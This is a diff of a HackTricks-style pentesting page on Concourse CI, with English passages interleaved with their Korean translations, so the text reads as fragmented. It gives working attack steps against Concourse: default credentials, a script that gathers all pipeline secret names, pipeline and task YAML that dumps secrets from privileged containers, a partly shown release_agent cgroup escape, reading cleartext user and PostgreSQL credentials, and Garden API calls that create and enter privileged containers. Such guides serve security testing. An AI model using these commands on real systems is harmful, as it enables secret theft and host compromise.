- **owner**: 팀 소유자는 **팀 내 모든 것을 수정**할 수 있습니다.
|
||||
- **member**: 팀 구성원은 **팀 자산 내에서 읽고 쓸 수** 있지만 팀 설정을 수정할 수는 없습니다.
|
||||
- **pipeline-operator**: 파이프라인 운영자는 빌드를 트리거하고 리소스를 고정하는 등의 **파이프라인 작업**을 수행할 수 있지만, 파이프라인 구성을 업데이트할 수는 없습니다.
|
||||
- **viewer**: 팀 뷰어는 팀과 그 파이프라인에 대해 **"읽기 전용" 접근** 권한을 가집니다.
|
||||
|
||||
> [!NOTE]
|
||||
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> 또한, **owner, member, pipeline-operator 및 viewer 역할의 권한은 RBAC를 구성하여 수정할 수 있습니다**(더 구체적으로는 그 행동을 구성합니다). 이에 대한 자세한 내용은: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)에서 확인하세요.
|
||||
|
||||
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
|
||||
Concourse는 **팀 내에서 파이프라인을 그룹화**합니다. 따라서 팀에 속한 사용자는 해당 파이프라인을 관리할 수 있으며 **여러 팀**이 존재할 수 있습니다. 사용자는 여러 팀에 속할 수 있으며 각 팀 내에서 다른 권한을 가질 수 있습니다.
|
||||
|
||||
### Vars & Credential Manager
|
||||
|
||||
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
|
||||
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
|
||||
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
|
||||
YAML 구성에서 `((_source-name_:_secret-path_._secret-field_))` 구문을 사용하여 값을 구성할 수 있습니다.\
|
||||
[문서에서:] (https://concourse-ci.org/vars.html#var-syntax) **source-name은 선택 사항**이며 생략할 경우 [클러스터 전체 자격 증명 관리자](https://concourse-ci.org/vars.html#cluster-wide-credential-manager)가 사용되거나 값이 [정적으로](https://concourse-ci.org/vars.html#static-vars) 제공될 수 있습니다.\
|
||||
**선택적 \_secret-field**는 가져온 비밀에서 읽을 필드를 지정합니다. 생략할 경우, 자격 증명 관리자는 필드가 존재하는 경우 가져온 자격 증명에서 '기본 필드'를 읽도록 선택할 수 있습니다.\
|
||||
또한, _**secret-path**_ 및 _**secret-field**_는 `.` 및 `:`와 같은 **특수 문자를 포함**하는 경우 이중 따옴표 `"..."`로 둘러싸일 수 있습니다. 예를 들어, `((source:"my.secret"."field:1"))`는 _secret-path_를 `my.secret`로, _secret-field_를 `field:1`로 설정합니다.
|
||||
|
||||
#### Static Vars
|
||||
|
||||
Static vars can be specified in **tasks steps**:
|
||||
|
||||
정적 변수는 **작업 단계**에서 지정할 수 있습니다:
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
|
||||
Or using the following `fly` **arguments**:
|
||||
|
||||
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
|
||||
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
|
||||
- `-v` or `--var` `NAME=VALUE`는 문자열 `VALUE`를 var `NAME`의 값으로 설정합니다.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE`는 `VALUE`를 YAML로 파싱하고 var `NAME`의 값으로 설정합니다.
|
||||
- `-i` or `--instance-var` `NAME=VALUE`는 `VALUE`를 YAML로 파싱하고 인스턴스 var `NAME`의 값으로 설정합니다. 인스턴스 var에 대해 더 알아보려면 [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html)를 참조하세요.
|
||||
- `-l` or `--load-vars-from` `FILE`는 var 이름과 값을 매핑하는 YAML 문서인 `FILE`을 로드하고 모두 설정합니다.
|
||||
|
||||
#### Credential Management
|
||||
|
||||
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Moreover, Concourse supports different credential managers:
|
||||
파이프라인에서 **Credential Manager를 지정하는 방법**은 여러 가지가 있으며, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)에서 읽어보세요.\
|
||||
또한, Concourse는 다양한 자격 증명 관리자를 지원합니다:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
@@ -59,160 +57,151 @@ Moreover, Concourse supports different credential managers:
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
|
||||
> Concourse에 **쓰기 권한**이 있는 경우, Concourse가 해당 비밀에 접근할 수 있어야 하므로 **이 비밀을 유출하는 작업을 생성할 수 있습니다**.
|
||||
|
||||
### Concourse Enumeration
|
||||
|
||||
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
|
||||
Concourse 환경을 열거하기 위해서는 먼저 **유효한 자격 증명**을 수집하거나 `.flyrc` 구성 파일에서 **인증된 토큰**을 찾아야 합니다.
|
||||
|
||||
#### Login and Current User enum
|
||||
|
||||
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Get configured **targets**:
|
||||
- `fly targets`
|
||||
- Get if the configured **target connection** is still **valid**:
|
||||
- `fly -t <target> status`
|
||||
- Get **role** of the user against the indicated target:
|
||||
- `fly -t <target> userinfo`
|
||||
- 로그인하려면 **엔드포인트**, **팀 이름**(기본값은 `main`) 및 **사용자가 속한 팀**을 알아야 합니다:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- 구성된 **대상** 가져오기:
|
||||
- `fly targets`
|
||||
- 구성된 **대상 연결**이 여전히 **유효한지** 확인하기:
|
||||
- `fly -t <target> status`
|
||||
- 지정된 대상에 대한 사용자의 **역할** 가져오기:
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
|
||||
> **API 토큰**은 기본적으로 `$HOME/.flyrc`에 **저장**되므로, 기계를 훔치는 경우 자격 증명을 거기서 찾을 수 있습니다.
|
||||
|
||||
#### Teams & Users
|
||||
|
||||
- Get a list of the Teams
|
||||
- `fly -t <target> teams`
|
||||
- Get roles inside team
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Get a list of users
|
||||
- `fly -t <target> active-users`
|
||||
- 팀 목록 가져오기
|
||||
- `fly -t <target> teams`
|
||||
- 팀 내 역할 가져오기
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- 사용자 목록 가져오기
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Pipelines
|
||||
|
||||
- **List** pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Get all pipeline **config declared vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
|
||||
|
||||
- **파이프라인 목록**:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **파이프라인 yaml 가져오기** (**민감한 정보**가 정의에 있을 수 있음):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- 모든 파이프라인 **구성 선언된 var** 가져오기
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- 사용된 모든 **파이프라인 비밀 이름** 가져오기 (작업을 생성/수정하거나 컨테이너를 탈취할 수 있다면 유출할 수 있음):
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
done
|
||||
echo ""
|
||||
echo "ALL SECRETS"
|
||||
cat /tmp/secrets.txt | sort | uniq
|
||||
rm /tmp/secrets.txt
|
||||
```
|
||||
#### 컨테이너 및 워커
|
||||
|
||||
#### Containers & Workers
|
||||
- **워커** 목록:
|
||||
- `fly -t <target> workers`
|
||||
- **컨테이너** 목록:
|
||||
- `fly -t <target> containers`
|
||||
- **빌드** 목록 (실행 중인 것을 보려면):
|
||||
- `fly -t <target> builds`
|
||||
|
||||
- List **workers**:
|
||||
- `fly -t <target> workers`
|
||||
- List **containers**:
|
||||
- `fly -t <target> containers`
|
||||
- List **builds** (to see what is running):
|
||||
- `fly -t <target> builds`
|
||||
### Concourse 공격
|
||||
|
||||
### Concourse Attacks
|
||||
|
||||
#### Credentials Brute-Force
|
||||
#### 자격 증명 무차별 대입
|
||||
|
||||
- admin:admin
|
||||
- test:test
|
||||
|
||||
#### Secrets and params enumeration
|
||||
#### 비밀 및 매개변수 열거
|
||||
|
||||
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
|
||||
이전 섹션에서는 파이프라인에서 사용되는 **모든 비밀 이름과 변수**를 **가져오는 방법**을 보았습니다. **변수는 민감한 정보를 포함할 수** 있으며, **비밀의 이름은 나중에 이를 훔치기 위해 유용할 것입니다**.
|
||||
|
||||
#### Session inside running or recently run container
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
|
||||
#### 실행 중이거나 최근에 실행된 컨테이너 내 세션
|
||||
|
||||
충분한 권한(**회원 역할 이상**)이 있는 경우, **파이프라인 및 역할**을 **목록화**하고 `<pipeline>/<job>` **컨테이너 내에서 세션을 얻을 수 있습니다**:
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
```
|
||||
이 권한으로 다음을 수행할 수 있습니다:
|
||||
|
||||
With these permissions you might be able to:
|
||||
- **컨테이너** 내부의 **비밀**을 **훔치기**
|
||||
- **노드**로 **탈출** 시도하기
|
||||
- **클라우드 메타데이터** 엔드포인트 열거/악용하기 (가능한 경우 포드와 노드에서)
|
||||
|
||||
- **Steal the secrets** inside the **container**
|
||||
- Try to **escape** to the node
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
|
||||
|
||||
#### Pipeline Creation/Modification
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
|
||||
#### 파이프라인 생성/수정
|
||||
|
||||
충분한 권한(**회원 역할 이상**)이 있다면 **새 파이프라인을 생성/수정**할 수 있습니다. 이 예제를 확인하세요:
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
새 파이프라인의 **수정/생성**을 통해 다음을 수행할 수 있습니다:
|
||||
|
||||
With the **modification/creation** of a new pipeline you will be able to:
|
||||
- **비밀**을 **훔치기** (출력하거나 컨테이너에 들어가서 `env` 실행)
|
||||
- **노드**로 **탈출**하기 (충분한 권한 부여 - `privileged: true`)
|
||||
- **클라우드 메타데이터** 엔드포인트 열거/악용 (파드와 노드에서)
|
||||
- 생성된 파이프라인 **삭제**
|
||||
|
||||
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
|
||||
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
|
||||
- **Delete** created pipeline
|
||||
|
||||
#### Execute Custom Task
|
||||
|
||||
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
|
||||
#### 사용자 정의 작업 실행
|
||||
|
||||
이것은 이전 방법과 유사하지만 전체 새 파이프라인을 수정/생성하는 대신 **사용자 정의 작업을 실행**할 수 있습니다 (아마도 훨씬 더 **은밀할** 것입니다):
|
||||
```yaml
|
||||
# For more task_config options check https://concourse-ci.org/tasks.html
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
#### 특권 작업에서 노드로 탈출하기
|
||||
|
||||
#### Escaping to the node from privileged task
|
||||
|
||||
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
|
||||
|
||||
In the following PoC we are going to use the release_agent to escape with some small modifications:
|
||||
이전 섹션에서는 **concourse로 특권 작업을 실행하는 방법**을 보았습니다. 이것은 도커 컨테이너의 특권 플래그와 정확히 동일한 접근을 컨테이너에 제공하지 않습니다. 예를 들어, /dev에서 노드 파일 시스템 장치를 볼 수 없으므로 탈출이 더 "복잡할" 수 있습니다.
|
||||
|
||||
다음 PoC에서는 몇 가지 작은 수정을 통해 release_agent를 사용하여 탈출할 것입니다:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
|
||||
> 당신이 알다시피, 이것은 단순히 [**정상적인 release_agent 탈출**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)로, 노드의 cmd 경로를 수정하는 것입니다.
|
||||
|
||||
#### Escaping to the node from a Worker container
|
||||
|
||||
A regular release_agent escape with a minor modification is enough for this:
|
||||
#### Worker 컨테이너에서 노드로 탈출하기
|
||||
|
||||
약간의 수정이 가해진 정상적인 release_agent 탈출로 충분합니다:
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
#### Web 컨테이너에서 노드로 탈출하기
|
||||
|
||||
#### Escaping to the node from the Web container
|
||||
|
||||
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
|
||||
|
||||
However, it stores **local credentials in clear text**:
|
||||
웹 컨테이너에 일부 방어가 비활성화되어 있더라도 **일반적인 특권 컨테이너로 실행되지 않습니다** (예를 들어, **마운트**할 수 없고 **권한**이 매우 **제한적이어서**, 컨테이너에서 탈출하는 쉬운 방법들은 무용지물입니다).
|
||||
|
||||
그러나 **로컬 자격 증명을 평문으로 저장합니다**:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -319,11 +304,9 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
해당 자격 증명을 사용하여 **웹 서버에 로그인**하고 **특권 컨테이너를 생성하여 노드로 탈출**할 수 있습니다.
|
||||
|
||||
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
|
||||
|
||||
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
|
||||
|
||||
환경에서는 concourse가 사용하는 **postgresql** 인스턴스에 접근할 수 있는 정보(주소, **사용자 이름**, **비밀번호** 및 데이터베이스 등)를 찾을 수도 있습니다:
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -344,39 +327,35 @@ select * from refresh_token;
|
||||
select * from teams; #Change the permissions of the users in the teams
|
||||
select * from users;
|
||||
```
|
||||
|
||||
#### Abusing Garden Service - Not a real Attack
|
||||
#### 가든 서비스 남용 - 실제 공격이 아님
|
||||
|
||||
> [!WARNING]
|
||||
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
|
||||
> 이들은 서비스에 대한 흥미로운 메모일 뿐이지만, 로컬호스트에서만 수신 대기하므로, 이 메모는 우리가 이미 이용한 것 외에 어떤 영향도 미치지 않을 것입니다.
|
||||
|
||||
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
|
||||
기본적으로 각 concourse 작업자는 포트 7777에서 [**Garden**](https://github.com/cloudfoundry/garden) 서비스를 실행합니다. 이 서비스는 웹 마스터가 작업자에게 **실행해야 할 작업**(이미지를 다운로드하고 각 작업을 실행)을 지시하는 데 사용됩니다. 이는 공격자에게 꽤 좋은 소리처럼 들리지만, 몇 가지 좋은 보호 장치가 있습니다:
|
||||
|
||||
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
|
||||
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
|
||||
|
||||
Concourse workers run with high container privileges:
|
||||
- **로컬에서만 노출**되어 있으며(127..0.0.1), 작업자가 특별한 SSH 서비스로 웹에 인증할 때, 웹 서버가 각 작업자 내부의 **각 Garden 서비스**와 **통신**할 수 있도록 터널이 생성된다고 생각합니다.
|
||||
- 웹 서버는 **몇 초마다 실행 중인 컨테이너를 모니터링**하며, **예상치 못한** 컨테이너는 **삭제**됩니다. 따라서 **사용자 정의 컨테이너**를 **실행**하려면 웹 서버와 가든 서비스 간의 **통신**을 **변조**해야 합니다.
|
||||
|
||||
Concourse 작업자는 높은 컨테이너 권한으로 실행됩니다:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
pid: true
|
||||
user: false
|
||||
pid: true
|
||||
user: false
|
||||
AppArmor Profile: kernel
|
||||
Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
|
||||
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
|
||||
그러나 노드의 /dev 장치나 release_agent를 **마운트하는** 것과 같은 기술은 **작동하지 않습니다** (노드의 파일 시스템이 있는 실제 장치에 접근할 수 없고, 오직 가상 장치만 있습니다). 우리는 노드의 프로세스에 접근할 수 없으므로, 커널 익스플로잇 없이 노드에서 탈출하는 것은 복잡해집니다.
|
||||
|
||||
> [!NOTE]
|
||||
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
|
||||
> 이전 섹션에서는 특권 컨테이너에서 탈출하는 방법을 보았으므로, **현재** **작업자**가 생성한 **특권 컨테이너**에서 명령을 **실행**할 수 있다면, **노드로 탈출**할 수 있습니다.
|
||||
|
||||
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
|
||||
|
||||
**Getting inside a running privileged container**
|
||||
concourse를 사용하면서 새로운 컨테이너가 무언가를 실행하기 위해 생성될 때, 컨테이너 프로세스가 작업자 컨테이너에서 접근 가능하다는 것을 알게 되었습니다. 그래서 마치 컨테이너가 그 안에 새로운 컨테이너를 생성하는 것과 같습니다.
|
||||
|
||||
**실행 중인 특권 컨테이너 내부로 들어가기**
|
||||
```bash
|
||||
# Get current container
|
||||
curl 127.0.0.1:7777/containers
|
||||
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
|
||||
# Execute a new process inside a container
|
||||
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
|
||||
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
|
||||
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**새로운 권한 있는 컨테이너 만들기**
|
||||
|
||||
**Creating a new privileged container**
|
||||
|
||||
You can very easily create a new container (just run a random UID) and execute something on it:
|
||||
|
||||
무작위 UID를 실행하기만 하면 매우 쉽게 새로운 컨테이너를 만들고 그 위에서 무언가를 실행할 수 있습니다:
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
|
||||
# Wget will be stucked there as long as the process is being executed
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
|
||||
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
|
||||
|
||||
그러나 웹 서버는 몇 초마다 실행 중인 컨테이너를 확인하고, 예상치 못한 컨테이너가 발견되면 삭제됩니다. 통신이 HTTP로 이루어지기 때문에, 예상치 못한 컨테이너의 삭제를 피하기 위해 통신을 변조할 수 있습니다:
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
|
||||
User-Agent: Go-http-client/1.1.
|
||||
Accept-Encoding: gzip.
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://concourse-ci.org/vars.html
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -8,19 +8,16 @@
|
||||
|
||||
#### With Docker-Compose
|
||||
|
||||
This docker-compose file simplifies the installation to do some tests with concourse:
|
||||
|
||||
이 docker-compose 파일은 concourse로 몇 가지 테스트를 수행하기 위한 설치를 간소화합니다:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
`127.0.0.1:8080`에서 귀하의 OS에 맞는 명령줄 `fly`를 다운로드할 수 있습니다.
|
||||
|
||||
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
|
||||
|
||||
#### With Kubernetes (Recommended)
|
||||
|
||||
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
#### Kubernetes를 사용하여 (권장)
|
||||
|
||||
헬름 차트를 사용하여 **Kubernetes**(예: **minikube**)에 concourse를 쉽게 배포할 수 있습니다: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
```bash
|
||||
brew install helm
|
||||
helm repo add concourse https://concourse-charts.storage.googleapis.com/
|
||||
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
|
||||
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
|
||||
|
||||
concourse 환경을 생성한 후, 비밀을 생성하고 concourse 웹에서 실행 중인 SA에 K8s 비밀에 접근할 수 있는 권한을 부여할 수 있습니다:
|
||||
```yaml
|
||||
